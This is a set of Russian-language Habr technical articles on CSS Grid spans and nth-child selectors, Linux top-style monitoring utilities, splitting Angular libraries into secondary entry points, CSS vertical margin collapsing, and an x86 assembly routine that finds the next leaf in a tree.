* `2/-2` — интересная комбинация, создаёт центрированный спан, который работает вплоть до одноколоночной сетки!
* `3/-1` — наименее полезная, поскольку приводит к оверфлоу даже на двух колонках.
* `3/-3` — приятная неожиданность.
Благодаря разнообразию значений `grid-column` из этого списка, возможно создать интересный и полностью адаптивный макет. Используя один-единственный медиа-запрос для самого узкого одноколоночного отображения, мы можем распоряжаться десятью разными паттернами `grid-column`.
Тот самый медиа-запрос довольно прост, даже скажем, прямолинеен. В нашем примере он отвечает за переключение отображения сетки на flexbox:
```
@media (max-width: 680px) {
.archive {
display: flex;
flex-direction: column;
}
.article {
margin-bottom: 2em;
}
}
```
Вот итоговая сетка, которая, как вы могли заметить, полностью адаптивна — от одной до пяти колонок (кликабельно):
[](https://codepen.io/Everybodyknows/full/RwNyeoo)
Использование :nth-child() для повторяющейся динамической ширины
----------------------------------------------------------------
Чтобы сократить мой код до двух дюжин строк, я применил ещё одну хитрость. Селектор `:nth-child(n)` позволил мне стилизовать большое количество элементов сразу. Вся моя задумка со спанами должна была применяться ко многим постам в фиде, чтобы избранные блоки появлялись на странице регулярно. Сначала я писал через запятую список селекторов с чётко заданным номером элемента:
```
.article:nth-child(2),
.article:nth-child(18),
.article:nth-child(34),
.article:nth-child(50) {
background-color: rgba(128,0,64,0.8);
grid-column: -3 / -1;
}
```
В скорости я понял, что это весьма трудоёмкий процесс, особенно когда приходится копировать весь этот список условий для каждого дочернего элемента, который надо изменить внутри статьи — заголовок, ссылки и т.д. Во время прототипирования я был вынужден вручную менять числа в каждом из этих списков каждый раз, когда мне хотелось поиграть с положением спанов. Скучный и чреватый ошибками процесс.
Тогда-то я и сообразил, что можно воспользоваться крутой возможностью псевдо-селектора `:nth-child`: вместо целочисленного значения вписывать выражение, например `:nth-child(2n+ 2)`, которое означает каждый второй дочерний элемент.
Вот так я использовал `:nth-child([формула])` для создания синего блока во всю ширину в моей сетке, который появляется в начале страницы, а затем на половине списка:
```
.article:nth-child(31n + 1) {
grid-column: 1 / -1;
background: rgba(11, 111, 222, 0.5);
}
```
Кусочек кода в скобках (`31n + 1`) отвечает за выбор 1-го, 32-го, 63-го, и т.д. дочернего элемента. Браузер запускает цикл начиная с n=0 (`31 * 0 + 1 = 1`), затем `n=1` (`31 * 1 + 1 = 32`), и наконец `n=2` (`31 * 2 + 1 = 63`). В последнем случае, браузер понимает, что 63-го дочернего элемента нет, игнорирует правило, останавливает цикл и применяет правило к 1-му и 32-му элементу.
Нечто подобное я делаю и для фиолетовых блоков, которые на протяжении страницы появляются то слева, то справа:
```
.article:nth-child(16n + 2) {
grid-column: -3 / -1;
background: rgba(128, 0, 64, 0.8);
}
.article:nth-child(16n + 10) {
grid-column: 1 / -2;
background: rgba(128, 0, 64, 0.8);
}
```
Первый селектор — для левых фиолетовых блоков. Выражение `16n + 2` отвечает за применение стилей к каждому 16-му элементу сетки, начиная со второго.
Второй селектор — для правых фиолетовых блоков. Интервал тот же(`16n`), но сдвиг другой (`10`). В результате, эти блоки регулярно встречаются с правой стороны сетки, в элементах под номерами 10, 26, 42, и т.д.
Для визуальных стилей этих элементов я использовал очередную хитрость для избежания повторения кода. Для общих стилей фиолетовых блоков (для очевидного `background-color`, например) можно использовать один селектор:
```
.article:nth-child(8n + 2) {
background: rgba(128, 0, 64, 0.8);
/* Other shared syling */
}
```
Этот селектор выберет элементы 2, 10, 18, 26, 34, 42, 50, и далее. Другими словами, он выбирает и левые, и правые блоки.
Это работает, потому что `8n` — это ровно половина `16n`, а разница сдвигов в двух селекторах тоже равна 8.
Заключительное слово
--------------------
CSS Grid можно использовать уже сейчас для создания гибких, адаптивных сеток с минимальным количеством кода. Однако, если избегать использования ретроградных медиа-запросов, появляются и значительные ограничения позиционирования элементов в сетке.
Было бы очень круто иметь возможность создавать спаны, которые бы не приводили к горизонтальной прокрутке и оверфлоу на маленьких экранах. Сейчас мы можем сказать браузеру: «Сделай адаптивную сетку, пожалуйста», — и он отлично с этим справляется. Но стоит только добавить: «О, и вот этот элемент сетки растяни на четыре колонки, пожалуйста», — и он машет ручкой узким экранам, отдавая предпочтение запросу на четырехколоночный спан, а не адаптивной сетке. Вот бы можно было заставить сетку делать наоборот, например так:
```
.article {
grid-column: span 3, autofit;
}
```
Ещё одна проблема с адаптивными сетками — последняя строка. Изменение ширины экрана может часто приводить к тому, что она оказывается незаполнена. Я долго пытался найти способ растянуть последний элемент сетки на оставшиеся колонки (соответственно, заполнить строку), но, похоже, это невозможно. По крайней мере, пока. Было бы неплохо получить возможность задавать начальную позицию элемента ключевым словом вроде `auto`, как бы говоря “Заполни строку до конца, начиная с левого края”. Как-то так:
```
.article {
grid-column: auto, -1;
}
```
…что растянуло бы спан на левом краю сетки до конца строки.
[](https://ruvds.com/ru-rub/#order) | https://habr.com/ru/post/492760/ | null | ru | null |
# TOP'ай сюда
Обзор практически всех \*top утилит под linux (atop, iotop, htop, foobartop и т.д.).
top
===
Все мы знаем top — самую простую и самую распространённую утилиту из этого списка. Показывает примерно то же, что утилита vmstat, плюс рейтинг процессов по потреблению памяти или процессора. Совсем ничего не знает про загрузку сети или дисков. Позволяет минимальный набор операций с процессом: renice, kill (в смысле отправки сигнала, убийство — частный случай). По имени top суффикс "-top" получили и все остальные подобные утилиты в этом обзоре.
atop
====
Atop имеет два режима работы — сбор статистики и наблюдение за системой в реальном времени. В режиме сбора статистики atop запускается как демон и раз в N времени (обычно 10 мин) скидывает состояние в двоичный журнал. Потом по этому журналу atop'ом же (ключ -r и имя лог-файла) можно бегать вперёд-назад кнопками T и t, наблюдая показания atop'а с усреднением за 10 минут в любой интересный момент времени.
В отличие от top отлично знает про существование блочных устройств и сетевых интерфейса, способен показывать их загрузку в процентах (на 10G, правда, процентов не получается, но хотя бы показывается количество мегабит).
Незаменимое средство для поиска источников лагов на сервере, так как сохраняет не только статистику загрузки системы, но и показатели каждого процесса — то есть «долистав» до нужного момента времени можно увидеть, кто этот счастливый момент с LA > 30 создал. И что именно было причиной — IO программ, своп (нехватка памяти), процесор или что-то ещё. Помимо большего количества информации ещё способен двумя цветами подсказывать, какие параметры выходят за разумные пределы.
htop
====
В отличие от atop, htop не собирает статистику и просто показывает текущее состояние. Второе яркое отличие — нортоноподобная панелька с подсказками кнопок снизу и возможность «навигации» по списку процессов.
Поддерживает выделение процессов и выполнения над ними групповых операций (впрочем, с форк бомбой им не справиться).
Общей статистике по системе показыват мало (зато с шкалой а-ля прогресс-бар), зато имеет обширнейшие инструменты для анализа процессов, включая баловство с скедулингом (приоритеты, affinity), просмотр списка открытых файлов, strace и массу мелких, но приятных фич, таких как контекстный поиск по имени процесса, режим «слежения» за процессом, быстрые операции с процессом и т.д.
iotop
=====
Специализированная утилита для анализа потребления дисковой полосы. К сожалению, не показывает иопсы (это вообще возможно?) Благодаря показу kernel threads способен указать на kcopy/swapper/kflush как источник хруста винта (чего не может atop). Заодно показывает общую загруженность IO системы в Мб/с (чего так же не может atop). Довольно быстрый.
iftop
=====
Опять же, специализированная утилита, позволяющая наблюдать за трафиком в реальном времени. Требует очень рутовых прав и pcap, т.к. работает почти аналогичо tcpdump'у. Показывает загруженность интерфейса (поддерживается только один интерфейс в одной копии), направления трафика и интенсивность трафика.
На средне-загруженном сервере, который внезапно начал жрать инет позволяет очень быстро найти направление, в которое идёт больше всего трафика (в любую сторону). К сожалению, не показывает распределение трафика по процессам.
powertop
========
Специализированная (ага, снова) утилита от intel для мониторинга потребления мощности (электрической мощности!) разными процессами. В реальности никаких ваттов не показывает, а показывает время, затраченное на обслуживание процессором. Уникальна тем, что показывает прерывания и прочие события ядра на одном уровне с процессами (что позволяет находить нетривиальные ситуации перегрузки сервера и даже определять, от какой железки это исходит). При равной нагрузке позволяет оценить, чей драйвер шустрее работает.
Кроме того, во вкладке device stats позволяет оценить степень загруженности устройства (точнее, драйвера устройства). Для сетевых карт (включая виртуальные, типа tun) показывает pps (packets per seconds).
Во вкладке idle status показывает распределение состояний процессора (C1, C2, C3), что весьма полезно при выяснении «батарейка дохлая или что-то не так с системой?» на ноутбуках.
itop
====
Ну очень специализированная утилита для мониторинга прерываний (настоящих прерываний, идентификацией их по номеру).
kerneltop
=========
Наверное, должен показывать что-то интересное про ядро. У меня дома ему не понравился System.map, а на сервере — отсутствие /proc/profile.
dnstop
======
Специализированный анализатор DNS-трафика на интерфейсе. Наверное, был бы очень полезен при починке DNS на контроллере домена, к сожалению, Active Directory на линуксе работает не очень хорошо.
Безусловно полезно для нахождения засранца, загоняющего бинд в неприличный LA.
jnettop
=======
Почти клон iftop, однако имеет забавный режим, когда может слушать соседей и показывать top по их трафику. Не очень работает в эпоху коммутаторов.
Ещё умеет агрегацию адресов (так, чтобы показывать их трафик одной строкой).
sntop
=====
Замечательная штука для скринсейвера или публичного монитора — по конфигу рассылает пинги и показывает, если какой-то хост лёг. В принципе, в рабочих условиях при настроенном конфиге позволяет быстро оценить состояние не очень большого парка серверов (запустили — и сразу красным видно, кто лежит).
latencytop
==========
Я бы с интересом на него посмотрел, но оно требует особого конфига ядра…
xrestop
=======
Монитор потребления ресурсов X-сервера разными приложениями, которые к нему подключились. (Обнаружил, что хром жрёт ресурсов х-сервера много больше, чем опера).
slabtop
=======
Специализируется на структурах данных [SLAB](http://en.wikipedia.org/wiki/Slab_allocation) ядра, фактически, показывает использование памяти в более тонких категориях, чем «свободно/занято/кеш». View only, несколько режимов сортировки.
Software specific
=================
apachetop
---------
Не столь полезен, как хотелось бы, показывает статистику ответов на запросы. Никакой магии, просто читает логи апача.
sqtop
-----
Топ по логам сквида. С учётом скорости их роста, сначала генерирует промежуточную статистику, а потом уже даёт по ней шариться.
pg\_top
-------
Пакет в debian почему-то называется ptop. Мониторит загрузку postgresql.
mytop
-----
Мониторит mysql. Есть альтернативный mtop, делает примерно то же, но заброшен и (в дебиане) выпилен в районе lenny -> squeeze.
xentop
------
Мониториг доменов xen'а. Интересен тем, что показывает не только память-процессор, но и дисковые операции с сетью. К сожалению, никакого управления, view only. Единственный из всех top'ов, не влазящий в 80 столбцов при выводе.
Список топов, которые я глазами не посмотрел:
hatop — мониторинг haproxy
virt-top — мониторинг за работой libvirt
mctop — мониторинг состояния memcached
perf-top — нашёл [документацию](http://rswiki.csie.org/lxr/http/source/tools/perf/Documentation/perf-top.txt?v=linux-2.6-pvops.git;a=sparc64), самого perf-top в виде тарбола или пакета не нашёл.
offTOP
======
Сначала ложные топы кратко:
gkrelmtop — плагин под gkrelm (монитор производительности в гуе) — оффтопик.
ntop — нарушает text-based традицию интерактивных программ и ставится как сайт для апача.
libgtop — библиотека для мониторигна производительности
nload — консольный монитор сетевой активности, в отличие от обычных top'ов не выводит рейтинг, а рисует текстовый график.
А потом настоящие топы без уважительного суффикса 'top' в названии.
nethogs
-------
Отображает сетевой трафик от конкретных приложений.
iptstate
--------
Монитор contrack из iptables, показывает активные трансляции с возможностью их прибить. Фактически, близок к цисковому `sh ip nat tra`, но удобнее (спасибо за наводку тов. @merlin\_rterm). | https://habr.com/ru/post/114082/ | null | ru | null |
# Повысьте производительность SPA, разбив ваши библиотеки Angular на несколько частей
*Привет, Хабр! Представляю Вашему вниманию перевод статьи [«Improve SPA performance by splitting your Angular libraries in multiple chunks»](https://medium.com/angular-in-depth/improve-spa-performance-by-splitting-your-angular-libraries-in-multiple-chunks-8c68103692d0) автора [Kevin Kreuzer](https://medium.com/@kevinkreuzer).*
Angular — отличный фреймворк. Мы все его любим <3.
Одна из вещей, которая делает Angular успешным и прекрасным в одно и тоже время — это широкое сообщество и ценность, которую оно в себе несет. Существует множество встреч, блогов, конференций и, конечно, библиотек по Angular.
Сегодня благодаря Angular CLI библиотеки легко создать. Они прекрасно подходят для того, чтобы делиться кодом между несколькими приложениями.
Так как они могут быть использованы во многих местах, производительность является критическим аспектом. Библиотека, которая имеет низкую производительность может замедлять несколько приложений!
В Frontend есть разные типы производительности. runtime — производительность и initial load. В этой статье мы сосредоточимся на initial load.
Предоставляя и поддерживая различные библиотеки и фреймворк пользовательского интерфейса для большого предприятия, я столкнулся с некоторыми не столь очевидными подводными камнями и способами их устранения. Я думаю это стоит того, чтобы поделиться некоторыми из них.
### "Это такая простая библиотека. Она не может повлиять на производительность, верно?"
Давайте начнем с простой библиотеки, которую мы создадим при помощи Angular CLI. Если вы никогда не создавали библиотеку Angular, для вас может быть полезно прочитать следующую статью:
[](https://medium.com/angular-in-depth/the-ultimate-guide-to-set-up-your-angular-library-project-399d95b63500?)
Как только мы воспользуемся CLI для настройки много проектного рабочего пространства, мы можем начать добавлять код.
Библиотека называется *howdy* и её единственная цель поприветствовать вас Вашим именем или сказать вам местное время. В ней содержится два модуля с каждым компонентом. Один модель приветствует, другой говорить время.
Просто обычный module Angular и Component, который принимает свойство name поверх привязок Input и отображает его.
*HowdyTimeComponent* отвечает за отображение времени с помощью сторонней библиотеки *moment*.
Отлично! Наша библиотека *howdy* готова к публикации! Это такая простая библиотека; она не сможет повлиять на производительность, верно?
### Потребление библиотеки howdy
Теперь у нас есть библиотека *howdy*! Было бы стыдно не воспользоваться этим. Чтобы использовать библиотеку *howdy*, мы создаем новый SPA с Angular CLI.
```
ng new greeting-app
```
Поскольку нас интересует производительность, давайте также установим зависимость dev, которая называется *webpack-bundle-analyzer*.
```
npm i -D webpack-bundle-analyzer
```
*Webpack-bundle-analyzer* позволяет вам визуализировать размер выходных файлов webpack с помощью интерактивной масштабируемой древовидной карты.
Лучший способ проанализировать наш пакет — добавить следующий скрипт анализа в наш *package.json*.
```
"analyze": "ng build --prod --stats-json && webpack-bundle-analyzer ./dist/greeting-app/stats-es2015.json"
```
Если мы запустим эту команду, Angular выполнит производственную сборку, а также выведет *stats-es2015.json*, который затем будет выбран и визуализирован *webpack-bundle-anlyzer*.
Поскольку мы еще не написали никакого кода, наш основной пакет в основном состоит из Angular. Мы также можем видеть, что *zone.js* включен в наш пакет *polyfill*.
В целом размер нашего приложения теперь составляет *207 КБ*.
Но мы еще не включили нашу Howdy библиотеку! Давайте продолжим и сделаем это.
```
npm i howdy
```
Мы установили *howdy* библиотеку, потому что мы хотим разместить приветствие с именем. Нас не интересует демонстрация времени. Поэтому мы будем использовать только модуль *HowdyNameModule* и не будем включать *HowdyTimeModule*.
**Здесь важно отметить, что мы импортируем только** *HowdyNameModule*. Давайте снова запустим скрипт анализа *analyze*.
Ого! Довольно круто! Мы перешли с 207 КБ до 511.15 КБ. Размер увеличился больше чем в два раза. Какого…!
Одного взгляда достаточно, чтобы найти виновника. *moment* огромный! Он приносит свой основной код реализации и все региональные настройки.
Конечно, *moment* может быть заменен другими пакетами, такими как *date-fns* или *moment-mini*. Но вопрос стоит в другом; Почему он вообще там есть? Помните, что мы только импортировали только *HowdyNameModule*, а не *HodwyTimeModule*. Я думал, что когда происходит *Tree shaking*, стряхиваются только неиспользуемые модули? Что происходит?
### Tree shaking может убрать не все
Чтобы *Tree shaking* произошел, сборка Angular запускает кучу расширенных оптимизаций. Но все равно *moment* присутствует в комплекте, хотя *HowdyTimeModule* нет.
Проблема заключается в том, как moment упакован. Давайте быстро взглянем на файл *moment.js* в нашей папке *node\_modules*.
Так как *moment* может быть использован во множестве мест, как и бэкенды Node JS, приложения Angular или обыкновенный JavaScript, он связан в *UMD*, а не как модуль *ES*.
Связанные библиотеки *UMD* обернуты в функцию IFFE, что означает, что *ModuleConcatenation* не может быть использован.Инструменты оптимизации сборки никак не могут узнать будет ли этот код использован, или у него есть побочные эффекты.
В двух словах, этот тип модуля не позволяет Angular запускать более продвинутый комплект оптимизации.
К сожалению, мы не можем контролировать, как *moment* комплектуется. Означает ли это, что мы должны смириться с огромным размером пакета?
### Вторичные точки входа для победы
Мы не можем контролировать, как создается *moment*. Но мы можем управлять нашей библиотекой. И действительно, есть способ предотвратить такие сценарии. Вторичные точки входа!
В настоящее время почти все библиотеки Angular упакованы с помощью *ng-packagr*. *ng-packagr* позволяет вам использовать *ng-package.json* в сочетании с *public-api*, который в конечном итоге станет точкой входа в ваше приложение.
Как видно из названия, дополнительные точки входа позволяют вам уточнять несколько точек входа для вашего приложения.
Звучит неплохо! Как активировать вторичные точки входа?
Вторичные точки входа динамически обнаруживаются с помощью *ng-packagr*. *ng-packagr* ищет файлы *package.json* в подкаталогах основной папки файла *package.json*
Круто! Давайте воспользуемся преимуществом вторичных точек входа в нашей библиотеке *howdy*, добавив туда следующие файлы.
Для каждого модуля мы добавили *index.ts*, *package.json* и *public\_api.ts*.
* *index.ts* находится там, только чтобы указывать на *public\_api*, который полезен во время импорта.
* *public\_api* экспортирует все модули и компоненты из нашего модуля.
* *package.json* содержит особые конфигурации *ng-packagr*. В нашем случае этого достаточно, чтобы конкретизировать *entryFile*.
> В *package.json* также могут содержаться другие свойства, такие как *cssUrl* и т. д. Обратите внимание, что область действия этих свойств — только текущая подстатья.
Если мы сейчас запустим сборку, мы получим три блока. *howdy.js*, *howdy-src-lib-name.js* и *howdy-src-lib-time.js*.
*Howdy-src-lib-name.js* теперь содержит только код, относящийся к *HowdyNameModule*, а *howdy-src-lib-time.js* теперь содержит только код, специфичный для *HowdyTimeModule*.
Но давайте посмотрим на кусок *howdy.js*.
Кусок *howdy.js* все еще содержит *HowdyNameComponent* и *HowdyTimeComponent*. Это означает, что мы все равно получим *moment* даже если импортируем только *HowdyNameModule*.
> Если мы хотим избавиться от *HowdyTimeModule* с помощью этого подхода, нам нужно использовать глубокий импорт. Так что мы импортируем не из *howdy.js*, а напрямую из *howdy-src-lib-time.js*
>
> **Что не рекомендуется! Глубокий импорт опасен, и его всегда следует избегать!**
Как мы можем решить эти проблемы? Как мы можем гарантировать, что *HowdyTimeModule* также будет убран, даже если мы используем стандартный импорт? Что ж, нам нужно настроить способ создания куском *howdy.js*.
### Используйте “signpost”
Идея состоит в том, чтобы удалить код из блока *howdy.js* и вместо этого позволить ему действовать как своего рода “signpost”«указатель», который указывает вам на другие блоки.
Поэтому давайте подробнее рассмотрим *src / public\_api.ts*.
```
/*
* Public API Surface of howdy
*/
export * from './lib/name/howdy-name.component';
export * from './lib/name/howdy-name.module';
export * from './lib/time/howdy-time.component';
export * from './lib/time/howdy-time.module';
```
Эти строки отвечают за включение всего, от *name* и *time*, в блок *howdy.js*. Нам нужно удалить код из *howdydy.js* и позволить ему указывать на другие фрагменты, которые содержат реализацию. Давайте изменим его содержание.
```
/
* Public API Surface of howdy
*/
export * from 'howdy/src/lib/name';
export * from 'howdy/src/lib/time';
```
Вместо того, чтобы экспортировать реальную реализацию, мы указываем относительный путь к различным частям. С этим изменением *howdy.js* указывает только на другие пакеты и не содержит никакого «реального» кода.
Давайте запустим *ng build* и проанализируем нашу папку *dist*.
*Howdy.js* теперь действует как “signpost”«указатель», который указывает на фрагменты, содержащие реализацию. В блоке howdy-src-lib-name.js содержится только код из папки *name*, а в файле *howdy-src-lib-time.js* содержится только код из папки *time*.
### Завершить пакет с подстатьями
Давайте обновим пакет *howdy* в нашем приветственном приложении и повторно запустим скрипт анализа.
Круто. Размер пакета теперь составляет *170,94 КБ*. Чуть выше, чем изначально. Давайте посмотрим, как выглядит модуль *Howdy* в финальном комплекте.
Замечательно! Эта корректировка позволяет нам сохранить размер пакета потребляющего SPA небольшим. SPA получает только то, что им нужно!
> Вторичные точки входа очень хороши, когда вы используете их в сочетании с ленивой загрузкой. Если бы мы использовали *HowdyTimeModule* в лениво загруженном модуле, *moment* оказался бы в лениво загруженном куске, а не в основном.
### Реальный опыт
Приведенный выше пример очень прост.
Однако после введения вторичных точек входа в существующий корпоративный проект все будет иначе. Вы должны иметь дело с гораздо большей сложностью, в то время как сообщения об ошибках от *ng-packagr* не всегда полезны.
Скорее всего, вам понадобится настроить некоторые пути импорта или конкретизировать некоторые пути в вашем файле *tsconfig.json*. И вы также столкнетесь с модулями из одного блока, которые используют модули из другого блока.
Но поверьте мне, как только вы справитесь с этим бременем, оно того стоит.
В обширной корпоративной среде мы выяснили, что размер пакета недавно созданных SPA взорвался после того, как мы включили некоторые из предоставленных нами библиотек.
В какой-то момент он даже поднялся до *5 МБ*. Каждый SPA получил *moment*, *@swimlane / datatable* и другие вещи, которые он даже не использовал. Мы начали фокусироваться на оптимизации этого размера пакета.
Мы убрали *moment* с *date-fns* и начали использовать вторичные точки входа. В настоящее время мы получили основной блок размером *662 КБ* для вновь созданного SPA, который включает в себя несколько библиотек. Это все еще много, но мы еще не закончили. Оптимизация еще не завершена — мы можем уменьшить размер пакета еще больше.
Очень круто видеть, где мы сейчас и откуда пришли.
Однако, несмотря на то, что в приведенном выше примере довольно легко воспользоваться дополнительными точками входа, может быть довольно сложно представить их в более значимом проекте.
### Заключение
Angular делает замечательную работу, когда речь идет об оптимизации размера пакета. Хотя шаги сборки по оптимизации очень сложны, они не могут стрясти “tree shaking” все.
Модули, упакованные в других форматах, кроме *ESModules*, не могут быть tree shaked.
Поэтому, как создатели библиотек, мы должны внимательно следить за влиянием нашей библиотеки на размер пакета, когда мы включаем сторонние библиотеки.
Мы не можем контролировать упаковку сторонних библиотек. Но мы очень хорошо контролируем упаковку нашей библиотеки.
Подстатьи предлагают нам отличный способ доставки нашей библиотеки несколькими частями. Эти куски можно стрясти (tree shakeable) во время оптимизации сборки Angulars. При таком подходе даже неправильно упакованные сторонние библиотеки включаются в окончательный комплект, только если они используются. | https://habr.com/ru/post/482646/ | null | ru | null |
# Поговорим о margin, он же маргин( часть 1-я )
Видя, когда новички верстая страницу за страницей, допускают кучу ошибок, делая отступы маргин и до конца не понимая, как этот самый маргин на самом деле работает, я решил написать данную статью.
Начинающим верстальщикам она точно будет полезна, а вот профессионалам — сомневаюсь, так как человек занимающийся не первый год версткой уже обязан «вызубрить» наизусть все особенности данного свойства.
В этой части статьи я напишу о вертикальном маргине. О горизонтальном поговорим в следующей части.
Для начала, разберем вкратце, какие есть единицы измерения, что они означают и какие использовать для отступов маргин.
**Cm, mm, inch, pc, pt** – абсолютные единицы измерения. Рекомендуется использовать при печати документов.
**Px, em, ex, %** — относительные единицы, используются для мониторов.
Для маргина, я использую **px** и **%**, а **em** – для указания размеров шрифта. Ex( в IE ex = em / 2 ) – использовать не рекомендую, т.к в каждом броузере интерпретируется по-разному.
И вообще, в какой единице вы бы не указали отступ или размер шрифта: броузер все преобразовывает в пиксели, не учитывая при этом область просмотра.
Область просмотра – то, на чем пользователь видит содержимое сайта, не прокручивая при этом экран. У каждого пользователя она разная.
Каждый верстальщик знает, что любой элемент можно представить в виде 4 областей( маргин, бордер, паддинг и контент ).
Маргин – внешний отступ. По вертикали и горизонтали построение маргин разные.
Как я уже писал выше, размеры для маргина могут проставляться в em, ex, px – жесткое задавание и в % — считаются относительно какой-то области.
Приведу пример одной из частых допускаемых ошибок начинающих верстальщиков.
Есть 2 дива: first и внем див second.
`#first{
padding: 100px;
background: #b5bcbc;
}
#second{
height: 100px;
background: #b06b48;
margin: 30% 0 0;
}`
Прошу обратить внимание что свойство width я не задал ни одному диву(об этом поговорим позже). Сейчас нас интересует только маргин, который равен margin: 30% 0 0;
Я надеюсь, что все знают, как считается маргин в данном случае, на всякий случай напомню, что считается по часовой стрелке, тоесть: сверху отступ будет 30%, справа — 0, снизу — 0 и слева, — так как я ничего не указал, то маргин принимает значение противоположной стороны, тоесть в данном случает, если маргин справа равен 0, то маргин слева, если не указан, тоже равен 0.
Но сейчас нас интересует маргин, который равен 30%, он же отступ сверху. Откуда же берутся эти 30%?
Многие считают и считают неверно, что 30% берутся от верхней части всей страницы.
Но это неверно!
Так как в данном случае, див second вложен в див first, то margin-top:30% будет считаться относительно ширины родительского дива second, тоесть относительно ширины дива first!
В данном случае ширина дива first по умолчанию авто, поэтому див принимает все свободное пространство по ширине, а из этой ширины будут высчитываться 30% маргин-топ для дива second.
При уменьшении родительского дива, будет и уменьшаться отступ сверху у дива second.
Маргин также может быть и отрицательный. В этом случае элемент по вертикали позволяет «заехать» на себя другому элементу или «выехать низу» за пределы своего контейнера.
Например: два дива, лежащие один под другим.
если мы добавим первому диву `margin-bottom: -100px`, а второму `margin-top: -50px`
`#first{
height: 200px;
background: #69c;
margin: 0 0 -100px;
}
#second{
height: 200px;
background: #f60;
margin: -50px 100px 0;
}`
то произойдет следующее.
Но… тут и наступает большая ошибка новичков.
Многие думают, что так как верхний див имеет маргин-боттом -100px, а нижний див, маргин-топ -50px, то нижний див «заедет» на верхний на -150px.
Ошибка!
**Если маргины одноименные( оба маргина или отрицательное или положительное число ), то в таком случае берется большое число по модулю, а меньшее не учитывается.**
В данном случае нижний див «заедет» на верхний див на 100px, а 50px учитываться не будут.
Тоже самое верно и для положительных маргинов, нижний див «уедет» от верхнего на 100px, а 50px учитываться не будут.
Рассмотрим следующий пример.
Есть 2 дива, один под другим.
`#first{
height: 200px;
background: #69c;
margin: 0 0 -100px;
}
#second{
height: 200px;
background: #f60;
margin: 50px 100px 0;
}`
`first
second`
Как видите маргин-боттом первого — отрицательный, а маргин-топ второго — положительный, что произойдет в данной ситуации?
Для разноименных маргинов произойдет сложение, тоесть: -100 + 50 = -50. Соответственно нижний див поднимиться на 50px вверх.
Едем далее.
Два дива, один вложен в другой.
`#first{
background: #b5bcbc;
}
#second{
height: 200px;
background: #b06b48;
}`
Если в цсс добавить внутреннему диву маргин-топ 200px,
`#second{
height: 200px;
background: #b06b48;
**margin-top: 200px;**
}`
То, вот тут то и очередная ошибка! Некоторые считают, что внутренний маргин, должен «отодвинуться» от своего родителя на 200px вниз а его родитель останется на месте, и тем самым растянется.
Но, как бы не так!
**Если у родительского эл-та нет ограничивающих факторов ( об этих факторах напишу чуть ниже ), то маргин переходит от внутреннего элемента к внешнему. Потом по старой схеме выбирается маргин: если они одноименные, то выбирается больший, если разноименные, то происходит сложение.**
И результат
Но, как быть, если нам это не нужно и мы хотим, чтобы див-родитель остался на своем месте, а див-ребенок отодвинулся на 200px вниз?
Можно отменить это действие по отношению к родителю, есть несколько способов.
1. задавание padding родительскому блоку
2. задавание border родительскому блоку
3. задавание overflow родительскому блоку, любое значение кроме visible( работает везде, кроме старых ИЕ )
И вуаля
Спасибо за внимание, надеюсь мне удалось прояснить новичкам, что такое маргин и как правильно и откуда его считать.
Если статья оказалась полезна и есть желание читать продолжение, то в следующей части я опишу о горизонтальных маргинах. Там дела обстоят не так просто, как кажется на первый взгляд ;) | https://habr.com/ru/post/121810/ | null | ru | null |
# Следующий лист дерева на ассемблере в девяти инструкциях и единственном регистре
Люди часто думают, что код на ассемблере читается не просто плохо, а очень плохо. Но я думаю, что это совершенно не так.
Я всегда считал, что читаемость кода на совести программистов и язык здесь совершенно не причём.
Так вот, когда работал над одним из своих проектов, мне понадобился алгоритм для поиска следующего или предыдущего листа дерева. Алгоритм тривиальный, но реализация получилась такой компактной и простой, что решил опубликовать её в качестве иллюстрации того, что на ассемблере можно (и нужно) писать удобочитаемый код.
Честно говоря, я сомневаюсь, что на языке высокого уровня можно написать это более компактно и понятно.
Но возможно я ошибаюсь. Увидим далее в статье.
Дерево для которого писался код, является упорядоченным, двусвязным и с произвольным количеством дочерних узлов. Каждый узел, описывается следующей структурой:
```
struct Node
.parent dd ? ; к родительскому узлу
.f_child dd ? ; к первому дочернему узлу
.l_child dd ? ; к последнему дочернему узлу
.next dd ? ; к следующему узлу в списке дочерних узлов
.prev dd ? ; к предыдущему узлу в списке дочерних узлов
ends
```
Все дочерние узлы родительского узла образуют двусвязный список (поля .next, .prev). Родительский узел указывает только на начало и конец этого списка, соответственно через указатели `.f_child` и `.l_child`.
**Задача: По заданному листу дерева, надо найти следующий лист. Если лист последний, найти первый лист дерева.**
Это показано на **Фиг.1**; Синим пунктиром изображены связи через `.prev` и `.next`, черными линиями связи через `.parent`, `.f_child` и `.l_child`, а красными линиями, изображена последовательность переходов по алгоритму.
**Если кому интересно зачем это мне понадобилось?**
> Я работаю над ОС-независимой GUI библиотекой на ассемблере. В этой библиотеке, каждое окно, представляет узел дерева с такой структурой.
>
>
>
> Обсуждаемый поиск по листьям нужен, для передачи фокуса вперёд или назад при нажатии на клавиши Tab или Shift+Tab.
>
>
>
> Конечно, в библиотеке это сложнее – нужно проверять хочет ли данное окно фокус и может ли его принять (например окно невидимое, или неактивное) в данный момент. Но это детали, которые никак не влияют на обсуждаемой теме.
**Короткий ликбез для совсем уж начинающих. Чтобы им тоже было интересно.**
> В обсуждаемом коде используются только 3 инструкции:
>
>
>
> [`**CMP**`](https://mudongliang.github.io/x86/html/file_module_x86_id_35.html) – сравнивает два операнда и устанавливает флаги состояния.
>
>
>
> [`**CMOVcc**`](https://mudongliang.github.io/x86/html/file_module_x86_id_34.html) – условная пересылка данных – если условие **`cc`** выполнено, данные пересылаются из второго операнда в первый. Если условие не выполнено, то ничего не делается. Условия могут быть разными, но здесь используется только **`NE`** – **не равно**, то есть, инструкция `CMOVNE`.
>
>
>
> [`**Jcc**`](https://mudongliang.github.io/x86/html/file_module_x86_id_146.html) – условный переход. Условия те же самые как в **`CMOVcc`**. Если условие выполнено, переход делается. Если нет, исполнение продолжается вниз.
>
>
>
> Квадратные скобки в выражениях на ассемблере означают содержание памяти на данном адресе. А значение в скобках, это адрес. То есть, примерно `[eax+Node.f_child]` означает, что вычисляется адрес как сумма содержания регистра `eax` и константы `Node.f_child` (Node.f\_child == 4 в этом случае), читается содержимое так полученного адреса и с ним что-то делается – пересылается куда-то (mov, cmov) или сравнивается с чем-то (cmp) и т.д.
А вот и сам код в девяти инструкциях:
```
; Поиск следующего листа
; EAX == указатель к исходному листу дерева.
.next:
cmp [eax + Node.next], 0
cmovne eax, [eax + Node.next]
jne .to_leaf
cmp [eax + Node.parent], 0
cmovne eax, [eax+Node.parent]
jne .next
.to_leaf:
cmp [eax + Node.f_child], 0
cmovne eax, [eax + Node.f_child]
jne .to_leaf
